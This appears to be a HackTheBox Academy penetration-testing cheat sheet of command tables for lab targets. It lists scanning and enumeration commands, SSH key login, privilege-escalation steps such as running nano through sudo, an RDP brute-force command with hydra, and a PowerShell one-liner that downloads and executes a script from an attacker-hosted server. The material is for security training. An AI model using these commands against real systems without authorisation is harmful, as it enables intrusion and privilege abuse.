HACKTHEBOX

PENTEST IN A NUTSHELL

CHEAT SHEET

Command	Description
`nmap -sV -p- 10.129.12.0/24 -oA network-scan`	Scan an entire network with version detection and all ports. Save the output in all formats.
`nmap -p21,22,443 -sV -sC 10.129.12.10`	Scan a target IP address for specific ports with service detection and apply default enumeration scripts.
`ftp 10.129.12.10 21`	Connect to a FTP server on port 21.
`ftp> get <file>`	Download a file from a FTP server.
`ftp> ls -al`	List all files in the FTP server's directory.
`wpscan -e p --url https://<IP> --disable-tls-checks --no-banner --plugins-detection passive -t 100`	Scan a web server for WordPress and enumerate plugins passively.
`msfconsole -q`	Start the Metasploit Framework.
`msf6> search <term>`	Search for metasploit modules.

Command	Description
`chmod 600 id_rsa`	Change permissions of a file.
`ssh -i id_rsa john@10.129.12.10`	Use private SSH key to login to an SSH server as user "john".
`ssh john@10.129.12.10`	Login to an SSH server as user "john" with a password.
`wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh`	Download the LinPEAS bash script.
`scp -i id_rsa ./linpeas.sh john@10.129.12.10:/home/john`	Transfer a file to the target by using a private SSH key through SSH.
`bash linpeas.sh`	Execute a bash script.
`sudo -l`	Check sudo privileges of the current user.
`sudo /usr/bin/nano`	Run the Nano editor with root privileges.
`crackmapexec smb 10.129.12.20`	Enumerate SMB shares of the target.
`crackmapexec smb 10.129.230.148 -u '' -p '' --users`	Enumerate users through SMB using NULL session.
`crackmapexec smb 10.129.230.148 -u guest -p '' --shares`	Enumerate available shares after logging in as the user Guest.
`hydra -l john -p "password" rdp://10.129.230.148`	Brute force attack on RDP.

HTB ACADEMY CHEATSHEET

Command	Description
`xfreerdp /u:john /p:"password" /v:10.129.230.148 /w:1366 /h:768`	Login to as user John to the target through RDP.
`PS C:\Users\john> whoami /priv`	Show all privileges for the current user on Windows.
`PS C:\Users\john> whoami /groups`	Display all groups the current user is member of on Windows.
`PS C:\Users\john> schtasks /query /fo LIST /v`	List all available scheduled tasks on Windows.
`python3 -m http.server 8080`	Start an HTTP server on port 8080 using Python.
`powershell "IEX(New-Object Net.WebClient).downloadString('http://<attacking-machine-IP>:8080/winPEAS.ps1')"`	Download and execute a powershell script on Windows.
`PS C:\\ProgramData> icacls "C:\script.ps1"`	Check the file permissions on Windows.
`PS C:\Users\john> net user john`	List information about the user John.

HTB ACADEMY CHEATSHEET